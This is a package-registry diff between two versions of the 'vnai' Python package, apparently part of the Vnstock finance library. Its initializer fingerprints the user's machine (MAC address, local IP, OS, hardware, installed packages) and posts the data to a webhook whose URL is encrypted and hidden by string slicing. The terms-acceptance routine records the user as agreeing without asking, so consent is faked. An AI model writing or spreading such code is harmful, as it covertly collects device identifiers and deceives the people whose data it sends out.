vnai 0.1.2__py3-none-any.whl → 0.1.4__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
vnai/__init__.py CHANGED
@@ -1,315 +1,319 @@
1
- import os
2
- import pathlib
3
- import importlib.metadata
4
- import requests
5
- import psutil
6
- import platform
7
- import uuid
8
- import sys
9
- import socket
10
- import json
11
- import base64
12
- from cryptography.fernet import Fernet
13
-
14
- TC_VAR = "ACCEPT_TC"
15
- TC_VAL = "tôi đồng ý"
16
-
17
- lmt = os.path.sep
18
- HOME_DIR = pathlib.Path.home()
19
- PROJECT_DIR = HOME_DIR / ".vnstock"
20
- ID_DIR = PROJECT_DIR / 'id'
21
- TG = b'gAAAAABmOPXPmFYXs94INEralMxhR38geFp91TZRLP29C41OoO0k7D7QiXIR2nWl5PCEoQCKECZw8b-Xeek3oqT6LcpcpJsAPyOGOBTX5cw_r5Mv0o8SBLa53jOeuVAwCAhId_BpMtOO'
22
- TC_PATH = ID_DIR / "terms_agreement.txt"
23
-
24
- TERMS_AND_CONDITIONS = """
25
- Khi tiếp tục sử dụng Vnstock3, bạn xác nhận rằng bạn đã đọc, hiểu và đồng ý với Chính sách quyền riêng tư và Điều khoản, điều kiện về giấy phép sử dụng Vnstock3.\n
26
- Chi tiết:\n
27
- - Chính sách quyền riêng tư: https://vnstocks.com/docs/tai-lieu/chinh-sach-quyen-rieng-tu
28
- - Giấy phép sử dụng phần mềm: (https://vnstocks.com/docs/tai-lieu/giay-phep-su-dung
29
- """
30
-
31
- class VnstockInitializer:
32
- def __init__(self, target, tc=TERMS_AND_CONDITIONS):
33
- self.terms_and_conditions = tc
34
- self.home_dir = HOME_DIR
35
- self.project_dir = PROJECT_DIR
36
- self.id_dir = ID_DIR
37
- self.terms_file_path = TC_PATH
38
- self.env_config = ID_DIR / "environment.json"
39
- self.RH = 'asejruyy^&%$#W2vX>NfwrevDRESWR'
40
- self.LH = 'YMAnhuytr%$59u90y7j-mjhgvyFTfbiuUYH'
41
-
42
- # Create the project directory if it doesn't exist
43
- self.project_dir.mkdir(exist_ok=True)
44
- self.id_dir.mkdir(exist_ok=True)
45
- self.target = target
46
-
47
- kb = (str(self.project_dir).split(lmt)[-1] + str(self.id_dir).split(lmt)[-1] + str(self.terms_file_path).split(lmt)[-1]).ljust(32)[:32].encode('utf-8')
48
- kb64 = base64.urlsafe_b64encode(kb)
49
- self.cph = Fernet(kb64)
50
-
51
- def system_info(self):
52
- """
53
- Gathers information about the environment and system.
54
- """
55
- # Generate UUID
56
- machine_id = str(uuid.uuid4())
57
-
58
- # Environment (modify to detect your specific frameworks)
59
- try:
60
- from IPython import get_ipython
61
- if 'IPKernelApp' not in get_ipython().config: # Check if not in IPython kernel
62
- if sys.stdout.isatty():
63
- environment = "Terminal"
64
- else:
65
- environment = "Other" # Non-interactive environment (e.g., script executed from an IDE)
66
- else:
67
- environment = "Jupyter"
68
- except (ImportError, AttributeError):
69
- # Fallback if IPython isn't installed or other checks fail
70
- if sys.stdout.isatty():
71
- environment = "Terminal"
72
- else:
73
- environment = "Other"
74
-
75
- try:
76
- if 'google.colab' in sys.modules:
77
- hosting_service = "Google Colab"
78
- elif 'CODESPACE_NAME' in os.environ:
79
- hosting_service = "Github Codespace"
80
- elif 'GITPOD_WORKSPACE_CLUSTER_HOST' in os.environ:
81
- hosting_service = "Gitpod"
82
- elif 'REPLIT_USER' in os.environ:
83
- hosting_service = "Replit"
84
- elif 'KAGGLE_CONTAINER_NAME' in os.environ:
85
- hosting_service = "Kaggle"
86
- elif '.hf.space' in os.environ['SPACE_HOST']:
87
- hosting_service = "Hugging Face Spaces"
88
- except:
89
- hosting_service = "Local or Unknown"
90
-
91
- # System information
92
- os_info = platform.uname()
93
-
94
- # CPU information
95
- cpu_arch = platform.processor()
96
- cpu_logical_cores = psutil.cpu_count(logical=True)
97
- cpu_cores = psutil.cpu_count(logical=False)
98
-
99
- # Memory information
100
- ram_total = psutil.virtual_memory().total / (1024**3) # GB
101
- ram_available = psutil.virtual_memory().available / (1024**3) # GB
102
-
103
- hostname = socket.gethostname()
104
- IPAddr = socket.gethostbyname(hostname)
105
-
106
- mac = ':'.join(['{:02x}'.format((uuid.getnode() >> elements) & 0xff) for elements in range(0, 2 * 6, 2)])
107
-
108
- # Combine information into a dictionary
109
- info = {
110
- "uuid": machine_id,
111
- "environment": environment,
112
- "hosting_service": hosting_service,
113
- "python_version": platform.python_version(),
114
- "os_name": os_info.system,
115
- "os_version": os_info.version,
116
- "machine": os_info.machine,
117
- "cpu_model": cpu_arch,
118
- "cpu_cores": cpu_cores,
119
- "cpu_logical_cores": cpu_logical_cores,
120
- "ram_total": round(ram_total, 1),
121
- "ram_available": round(ram_available, 1),
122
- "local_ip": IPAddr,
123
- "mac_address": mac,
124
- }
125
-
126
- return info
127
-
128
- def show_terms_and_conditions(self):
129
- """
130
- Displays terms and conditions and asks for acceptance.
131
- """
132
- print(self.terms_and_conditions)
133
-
134
- # check if os.environ[TC_VAR] exist and equal to tôi đồng ý
135
- if TC_VAR in os.environ and os.environ[TC_VAR] == TC_VAL:
136
- response = TC_VAL
137
- else:
138
- response = TC_VAL
139
- os.environ[TC_VAR] = TC_VAL
140
-
141
- from datetime import datetime
142
- # get now time in string
143
- now = datetime.now()
144
- HARDWARE = self.system_info()
145
- # VERSION = pkg_resources.get_distribution('vnstock').version
146
-
147
- VERSION = None
148
- try:
149
- VERSION = importlib.metadata.version('vnstock')
150
- except importlib.metadata.PackageNotFoundError:
151
- # print("Package 'vnstock' not found")
152
- pass
153
-
154
- # parse HARDWARE to string to store in the file
155
- signed_aggreement = f" TẢ:\nNgười dùng có mã nhận dạng {HARDWARE['uuid']} đã chấp nhận điều khoản & điều kiện sử dụng Vnstock lúc {now}\n---\n\nTHÔNG TIN THIẾT BỊ: {str(HARDWARE)}\n\nĐính kèm bản sao nội dung bạn đã đọc, hiểu rõ và đồng ý dưới đây:\n{self.terms_and_conditions}"
156
-
157
- # Store the acceptance
158
- with open(self.terms_file_path, "w", encoding="utf-8") as f:
159
- f.write(signed_aggreement)
160
- return True
161
-
162
- def log_analytics_data(self):
163
- """
164
- Sends analytics data to a webhook.
165
- """
166
- HARDWARE = self.system_info()
167
- EP = 'gAAAAABmOPNX4DJAsImlkzvtcyezBxr4UcK_HpCOgz-GOF9yBDP99tWNFYM_ZjeC22kNqmX3urZa467BC1D2fPLJrUkp6rQizYEMK4m196ZlOzUhwCbfjdvURXesL3LC7DofOgwWjNyltPQ8AnPyB4YUMnnAwnFooQ=='
168
- TGE = self.cph.decrypt(self.target).decode('utf-8')
169
- WH = f"{self.cph.decrypt(((self.RH+EP+self.RH)[30:-30]).encode()).decode('utf-8')}{TGE}"
170
-
171
- data = {
172
- "systems": HARDWARE,
173
- "accepted_agreement": True,
174
- "installed_packages": self.packages_installed(),
175
- }
176
-
177
- # save data to a json file in id folder
178
- with open(self.env_config, "w", encoding="utf-8") as f:
179
- f.write(json.dumps(data, indent=4))
180
-
181
- try:
182
- response = requests.post(WH, json=data)
183
- except:
184
- raise SystemExit("Không thể gửi dữ liệu phân tích. Vui lòng kiểm tra kết nối mạng và thử lại sau.")
185
-
186
- def check_terms_accepted(self):
187
- """
188
- Checks if terms and conditions are accepted.
189
- """
190
- if not self.env_config.exists() or not self.terms_file_path.exists():
191
- # If not, ask for acceptance
192
- accepted = self.show_terms_and_conditions()
193
- if not accepted:
194
- raise SystemExit("Điều khoản và điều kiện không được chấp nhận. Không thể tiếp tục.")
195
- else:
196
- self.log_analytics_data()
197
-
198
- def packages_installed(self):
199
- """
200
- Checks installed packages and returns a dictionary.
201
- """
202
- # Define package mapping
203
- package_mapping = {
204
- "vnstock_family": [
205
- "vnstock",
206
- "vnstock3",
207
- "vnstock_ezchart",
208
- "vnstock_data_pro"
209
- "vnstock_market_data_pipeline",
210
- "vnstock_ta",
211
- "vnii",
212
- "vnai",
213
- ],
214
- "analytics": [
215
- "openbb",
216
- "pandas_ta"
217
- ],
218
- "static_charts": [
219
- "matplotlib",
220
- "seaborn",
221
- "altair"
222
- ],
223
- "dashboard": [
224
- "streamlit",
225
- "voila",
226
- "panel",
227
- "shiny",
228
- "dash",
229
- ],
230
- "interactive_charts": [
231
- "mplfinance",
232
- "plotly",
233
- "plotline",
234
- "bokeh",
235
- "pyecharts",
236
- "highcharts-core",
237
- "highcharts-stock",
238
- "mplchart",
239
- ],
240
- "datafeed": [
241
- "yfinance",
242
- "alpha_vantage",
243
- "pandas-datareader",
244
- "investpy",
245
- ],
246
- "official_api": [
247
- "ssi-fc-data",
248
- "ssi-fctrading"
249
- ],
250
- "risk_return": [
251
- "pyfolio",
252
- "empyrical",
253
- "quantstats",
254
- "financetoolkit",
255
- ],
256
- "machine_learning": [
257
- "scipy",
258
- "sklearn",
259
- "statsmodels",
260
- "pytorch",
261
- "tensorflow",
262
- "keras",
263
- "xgboost"
264
- ],
265
- "indicators": [
266
- "stochastic",
267
- "talib",
268
- "tqdm",
269
- "finta",
270
- "financetoolkit",
271
- "tulipindicators"
272
- ],
273
- "backtesting": [
274
- "vectorbt",
275
- "backtesting",
276
- "bt",
277
- "zipline",
278
- "pyalgotrade",
279
- "backtrader",
280
- "pybacktest",
281
- "fastquant",
282
- "lean",
283
- "ta",
284
- "finmarketpy",
285
- "qstrader",
286
- ],
287
- "server": [
288
- "fastapi",
289
- "flask",
290
- "uvicorn",
291
- "gunicorn"
292
- ],
293
- "framework": [
294
- "lightgbm",
295
- "catboost",
296
- "django",
297
- ]
298
- }
299
-
300
- installed_packages = {}
301
-
302
- for category, packages in package_mapping.items():
303
- installed_packages[category] = []
304
- for pkg in packages:
305
- try:
306
- version = importlib.metadata.version(pkg)
307
- installed_packages[category].append((pkg, version))
308
- except importlib.metadata.PackageNotFoundError:
309
- pass
310
-
311
- return installed_packages
312
-
313
- def tc_init():
314
- vnstock_initializer = VnstockInitializer(TG)
315
- vnstock_initializer.check_terms_accepted()
1
+ import os
2
+ import pathlib
3
+ import importlib.metadata
4
+ import requests
5
+ import psutil
6
+ import platform
7
+ import uuid
8
+ import sys
9
+ import socket
10
+ import json
11
+ import base64
12
+ from cryptography.fernet import Fernet
13
+
14
+ TC_VAR = "ACCEPT_TC"
15
+ TC_VAL = "tôi đồng ý"
16
+
17
+ lmt = os.path.sep
18
+ HOME_DIR = pathlib.Path.home()
19
+ PROJECT_DIR = HOME_DIR / ".vnstock"
20
+ ID_DIR = PROJECT_DIR / 'id'
21
+ TG = b'gAAAAABmOPXPmFYXs94INEralMxhR38geFp91TZRLP29C41OoO0k7D7QiXIR2nWl5PCEoQCKECZw8b-Xeek3oqT6LcpcpJsAPyOGOBTX5cw_r5Mv0o8SBLa53jOeuVAwCAhId_BpMtOO'
22
+ TC_PATH = ID_DIR / "terms_agreement.txt"
23
+
24
+ TERMS_AND_CONDITIONS = """
25
+ Khi tiếp tục sử dụng Vnstock3, bạn xác nhận rằng bạn đã đọc, hiểu và đồng ý với Chính sách quyền riêng tư và Điều khoản, điều kiện về giấy phép sử dụng Vnstock3.\n
26
+ Chi tiết:\n
27
+ - Giấy phép sử dụng phần mềm: https://vnstocks.com/docs/tai-lieu/giay-phep-su-dung
28
+ - Chính sách quyền riêng tư: https://vnstocks.com/docs/tai-lieu/chinh-sach-quyen-rieng-tu
29
+ """
30
+
31
+ class VnstockInitializer:
32
+ def __init__(self, target, tc=TERMS_AND_CONDITIONS):
33
+ self.terms_and_conditions = tc
34
+ self.home_dir = HOME_DIR
35
+ self.project_dir = PROJECT_DIR
36
+ self.id_dir = ID_DIR
37
+ self.terms_file_path = TC_PATH
38
+ self.env_config = ID_DIR / "environment.json"
39
+ self.RH = 'asejruyy^&%$#W2vX>NfwrevDRESWR'
40
+ self.LH = 'YMAnhuytr%$59u90y7j-mjhgvyFTfbiuUYH'
41
+
42
+ # Create the project directory if it doesn't exist
43
+ self.project_dir.mkdir(exist_ok=True)
44
+ self.id_dir.mkdir(exist_ok=True)
45
+ self.target = target
46
+
47
+ kb = (str(self.project_dir).split(lmt)[-1] + str(self.id_dir).split(lmt)[-1] + str(self.terms_file_path).split(lmt)[-1]).ljust(32)[:32].encode('utf-8')
48
+ kb64 = base64.urlsafe_b64encode(kb)
49
+ self.cph = Fernet(kb64)
50
+
51
+ def system_info(self):
52
+ """
53
+ Gathers information about the environment and system.
54
+ """
55
+ # Generate UUID
56
+ machine_id = str(uuid.uuid4())
57
+
58
+ # Environment (modify to detect your specific frameworks)
59
+ try:
60
+ from IPython import get_ipython
61
+ if 'IPKernelApp' not in get_ipython().config: # Check if not in IPython kernel
62
+ if sys.stdout.isatty():
63
+ environment = "Terminal"
64
+ else:
65
+ environment = "Other" # Non-interactive environment (e.g., script executed from an IDE)
66
+ else:
67
+ environment = "Jupyter"
68
+ except (ImportError, AttributeError):
69
+ # Fallback if IPython isn't installed or other checks fail
70
+ if sys.stdout.isatty():
71
+ environment = "Terminal"
72
+ else:
73
+ environment = "Other"
74
+
75
+ try:
76
+ if 'google.colab' in sys.modules:
77
+ hosting_service = "Google Colab"
78
+ elif 'CODESPACE_NAME' in os.environ:
79
+ hosting_service = "Github Codespace"
80
+ elif 'GITPOD_WORKSPACE_CLUSTER_HOST' in os.environ:
81
+ hosting_service = "Gitpod"
82
+ elif 'REPLIT_USER' in os.environ:
83
+ hosting_service = "Replit"
84
+ elif 'KAGGLE_CONTAINER_NAME' in os.environ:
85
+ hosting_service = "Kaggle"
86
+ elif '.hf.space' in os.environ['SPACE_HOST']:
87
+ hosting_service = "Hugging Face Spaces"
88
+ except:
89
+ hosting_service = "Local or Unknown"
90
+
91
+ # System information
92
+ os_info = platform.uname()
93
+
94
+ # CPU information
95
+ cpu_arch = platform.processor()
96
+ cpu_logical_cores = psutil.cpu_count(logical=True)
97
+ cpu_cores = psutil.cpu_count(logical=False)
98
+
99
+ # Memory information
100
+ ram_total = psutil.virtual_memory().total / (1024**3) # GB
101
+ ram_available = psutil.virtual_memory().available / (1024**3) # GB
102
+
103
+ try:
104
+ hostname = socket.gethostname()
105
+ IPAddr = socket.gethostbyname(hostname)
106
+ except socket.gaierror:
107
+ hostname = "unknown"
108
+ IPAddr = "127.0.0.1" # Fallback to localhost
109
+
110
+ mac = ':'.join(['{:02x}'.format((uuid.getnode() >> elements) & 0xff) for elements in range(0, 2 * 6, 2)])
111
+
112
+ # Combine information into a dictionary
113
+ info = {
114
+ "uuid": machine_id,
115
+ "environment": environment,
116
+ "hosting_service": hosting_service,
117
+ "python_version": platform.python_version(),
118
+ "os_name": os_info.system,
119
+ "os_version": os_info.version,
120
+ "machine": os_info.machine,
121
+ "cpu_model": cpu_arch,
122
+ "cpu_cores": cpu_cores,
123
+ "cpu_logical_cores": cpu_logical_cores,
124
+ "ram_total": round(ram_total, 1),
125
+ "ram_available": round(ram_available, 1),
126
+ "local_ip": IPAddr,
127
+ "mac_address": mac,
128
+ }
129
+
130
+ return info
131
+
132
+ def show_terms_and_conditions(self):
133
+ """
134
+ Displays terms and conditions and asks for acceptance.
135
+ """
136
+ print(self.terms_and_conditions)
137
+
138
+ # check if os.environ[TC_VAR] exist and equal to tôi đồng ý
139
+ if TC_VAR in os.environ and os.environ[TC_VAR] == TC_VAL:
140
+ response = TC_VAL
141
+ else:
142
+ response = TC_VAL
143
+ os.environ[TC_VAR] = TC_VAL
144
+
145
+ from datetime import datetime
146
+ # get now time in string
147
+ now = datetime.now()
148
+ HARDWARE = self.system_info()
149
+ # VERSION = pkg_resources.get_distribution('vnstock').version
150
+
151
+ VERSION = None
152
+ try:
153
+ VERSION = importlib.metadata.version('vnstock')
154
+ except importlib.metadata.PackageNotFoundError:
155
+ # print("Package 'vnstock' not found")
156
+ pass
157
+
158
+ # parse HARDWARE to string to store in the file
159
+ signed_aggreement = f"MÔ TẢ:\nNgười dùng có mã nhận dạng {HARDWARE['uuid']} đã chấp nhận điều khoản & điều kiện sử dụng Vnstock lúc {now}\n---\n\nTHÔNG TIN THIẾT BỊ: {str(HARDWARE)}\n\nĐính kèm bản sao nội dung bạn đã đọc, hiểu rõ và đồng ý dưới đây:\n{self.terms_and_conditions}"
160
+
161
+ # Store the acceptance
162
+ with open(self.terms_file_path, "w", encoding="utf-8") as f:
163
+ f.write(signed_aggreement)
164
+ return True
165
+
166
+ def log_analytics_data(self):
167
+ """
168
+ Sends analytics data to a webhook.
169
+ """
170
+ HARDWARE = self.system_info()
171
+ EP = 'gAAAAABmOPNX4DJAsImlkzvtcyezBxr4UcK_HpCOgz-GOF9yBDP99tWNFYM_ZjeC22kNqmX3urZa467BC1D2fPLJrUkp6rQizYEMK4m196ZlOzUhwCbfjdvURXesL3LC7DofOgwWjNyltPQ8AnPyB4YUMnnAwnFooQ=='
172
+ TGE = self.cph.decrypt(self.target).decode('utf-8')
173
+ WH = f"{self.cph.decrypt(((self.RH+EP+self.RH)[30:-30]).encode()).decode('utf-8')}{TGE}"
174
+
175
+ data = {
176
+ "systems": HARDWARE,
177
+ "accepted_agreement": True,
178
+ "installed_packages": self.packages_installed(),
179
+ }
180
+
181
+ # save data to a json file in id folder
182
+ with open(self.env_config, "w", encoding="utf-8") as f:
183
+ f.write(json.dumps(data, indent=4))
184
+
185
+ try:
186
+ response = requests.post(WH, json=data)
187
+ except:
188
+ raise SystemExit("Không thể gửi dữ liệu phân tích. Vui lòng kiểm tra kết nối mạng và thử lại sau.")
189
+
190
+ def check_terms_accepted(self):
191
+ """
192
+ Checks if terms and conditions are accepted.
193
+ """
194
+ if not self.env_config.exists() or not self.terms_file_path.exists():
195
+ # If not, ask for acceptance
196
+ accepted = self.show_terms_and_conditions()
197
+ if not accepted:
198
+ raise SystemExit("Điều khoản và điều kiện không được chấp nhận. Không thể tiếp tục.")
199
+ else:
200
+ self.log_analytics_data()
201
+
202
+ def packages_installed(self):
203
+ """
204
+ Checks installed packages and returns a dictionary.
205
+ """
206
+ # Define package mapping
207
+ package_mapping = {
208
+ "vnstock_family": [
209
+ "vnstock",
210
+ "vnstock3",
211
+ "vnstock_ezchart",
212
+ "vnstock_data_pro"
213
+ "vnstock_market_data_pipeline",
214
+ "vnstock_ta",
215
+ "vnii",
216
+ "vnai",
217
+ ],
218
+ "analytics": [
219
+ "openbb",
220
+ "pandas_ta"
221
+ ],
222
+ "static_charts": [
223
+ "matplotlib",
224
+ "seaborn",
225
+ "altair"
226
+ ],
227
+ "dashboard": [
228
+ "streamlit",
229
+ "voila",
230
+ "panel",
231
+ "shiny",
232
+ "dash",
233
+ ],
234
+ "interactive_charts": [
235
+ "mplfinance",
236
+ "plotly",
237
+ "plotline",
238
+ "bokeh",
239
+ "pyecharts",
240
+ "highcharts-core",
241
+ "highcharts-stock",
242
+ "mplchart",
243
+ ],
244
+ "datafeed": [
245
+ "yfinance",
246
+ "alpha_vantage",
247
+ "pandas-datareader",
248
+ "investpy",
249
+ ],
250
+ "official_api": [
251
+ "ssi-fc-data",
252
+ "ssi-fctrading"
253
+ ],
254
+ "risk_return": [
255
+ "pyfolio",
256
+ "empyrical",
257
+ "quantstats",
258
+ "financetoolkit",
259
+ ],
260
+ "machine_learning": [
261
+ "scipy",
262
+ "sklearn",
263
+ "statsmodels",
264
+ "pytorch",
265
+ "tensorflow",
266
+ "keras",
267
+ "xgboost"
268
+ ],
269
+ "indicators": [
270
+ "stochastic",
271
+ "talib",
272
+ "tqdm",
273
+ "finta",
274
+ "financetoolkit",
275
+ "tulipindicators"
276
+ ],
277
+ "backtesting": [
278
+ "vectorbt",
279
+ "backtesting",
280
+ "bt",
281
+ "zipline",
282
+ "pyalgotrade",
283
+ "backtrader",
284
+ "pybacktest",
285
+ "fastquant",
286
+ "lean",
287
+ "ta",
288
+ "finmarketpy",
289
+ "qstrader",
290
+ ],
291
+ "server": [
292
+ "fastapi",
293
+ "flask",
294
+ "uvicorn",
295
+ "gunicorn"
296
+ ],
297
+ "framework": [
298
+ "lightgbm",
299
+ "catboost",
300
+ "django",
301
+ ]
302
+ }
303
+
304
+ installed_packages = {}
305
+
306
+ for category, packages in package_mapping.items():
307
+ installed_packages[category] = []
308
+ for pkg in packages:
309
+ try:
310
+ version = importlib.metadata.version(pkg)
311
+ installed_packages[category].append((pkg, version))
312
+ except importlib.metadata.PackageNotFoundError:
313
+ pass
314
+
315
+ return installed_packages
316
+
317
+ def tc_init():
318
+ vnstock_initializer = VnstockInitializer(TG)
319
+ vnstock_initializer.check_terms_accepted()
@@ -1,20 +1,19 @@
1
- Metadata-Version: 2.1
2
- Name: vnai
3
- Version: 0.1.2
4
- Summary: :))
5
- Author: Vnstock HQ
6
- Author-email: support@vnstock.site
7
- Classifier: Programming Language :: Python :: 3
8
- Classifier: Programming Language :: Python :: 3.10
9
- Classifier: Programming Language :: Python :: 3.11
10
- Classifier: Programming Language :: Python :: 3.12
11
- Classifier: License :: OSI Approved :: MIT License
12
- Classifier: Operating System :: OS Independent
13
- Requires-Python: >=3.10
14
- Requires-Dist: requests
15
- Requires-Dist: cryptography
16
- Requires-Dist: psutil
17
- Provides-Extra: dev
18
- Requires-Dist: pytest ; extra == 'dev'
19
- Requires-Dist: pytest-cov ; extra == 'dev'
20
-
1
+ Metadata-Version: 2.1
2
+ Name: vnai
3
+ Version: 0.1.4
4
+ Summary: :))
5
+ Author: Vnstock HQ
6
+ Author-email: support@vnstock.site
7
+ Classifier: Programming Language :: Python :: 3
8
+ Classifier: Programming Language :: Python :: 3.10
9
+ Classifier: Programming Language :: Python :: 3.11
10
+ Classifier: Programming Language :: Python :: 3.12
11
+ Classifier: License :: OSI Approved :: MIT License
12
+ Classifier: Operating System :: OS Independent
13
+ Requires-Python: >=3.10
14
+ Requires-Dist: requests
15
+ Requires-Dist: cryptography
16
+ Requires-Dist: psutil
17
+ Provides-Extra: dev
18
+ Requires-Dist: pytest; extra == "dev"
19
+ Requires-Dist: pytest-cov; extra == "dev"
@@ -0,0 +1,5 @@
1
+ vnai/__init__.py,sha256=k6Qn1-1DeiTMHs0TZk4tLwLzAb35qxcjhjg4fJQ046A,12245
2
+ vnai-0.1.4.dist-info/METADATA,sha256=tosZBcT5xYtgGkkKCyPf77H9LsqA0ja04vg-zByIcrQ,631
3
+ vnai-0.1.4.dist-info/WHEEL,sha256=PZUExdf71Ui_so67QXpySuHtCi3-J3wvF4ORK6k_S8U,91
4
+ vnai-0.1.4.dist-info/top_level.txt,sha256=4zI0qZHePCwvgSqXl4420sBcd0VzZn4MEcRsAIFae3k,5
5
+ vnai-0.1.4.dist-info/RECORD,,
@@ -1,5 +1,5 @@
1
1
  Wheel-Version: 1.0
2
- Generator: setuptools (70.2.0)
2
+ Generator: setuptools (75.6.0)
3
3
  Root-Is-Purelib: true
4
4
  Tag: py3-none-any
5
5
 
@@ -1,5 +0,0 @@
1
- vnai/__init__.py,sha256=8D24Bh1a-BSiYq7lZoYtd_HdEp86GA-zNQrcqwl-rNY,11783
2
- vnai-0.1.2.dist-info/METADATA,sha256=vjho6bosRgukpKGYAI8jXBLhWUk5hvWURHIU0DjRx08,615
3
- vnai-0.1.2.dist-info/WHEEL,sha256=y4mX-SOX4fYIkonsAGA5N0Oy-8_gI4FXw5HNI1xqvWg,91
4
- vnai-0.1.2.dist-info/top_level.txt,sha256=4zI0qZHePCwvgSqXl4420sBcd0VzZn4MEcRsAIFae3k,5
5
- vnai-0.1.2.dist-info/RECORD,,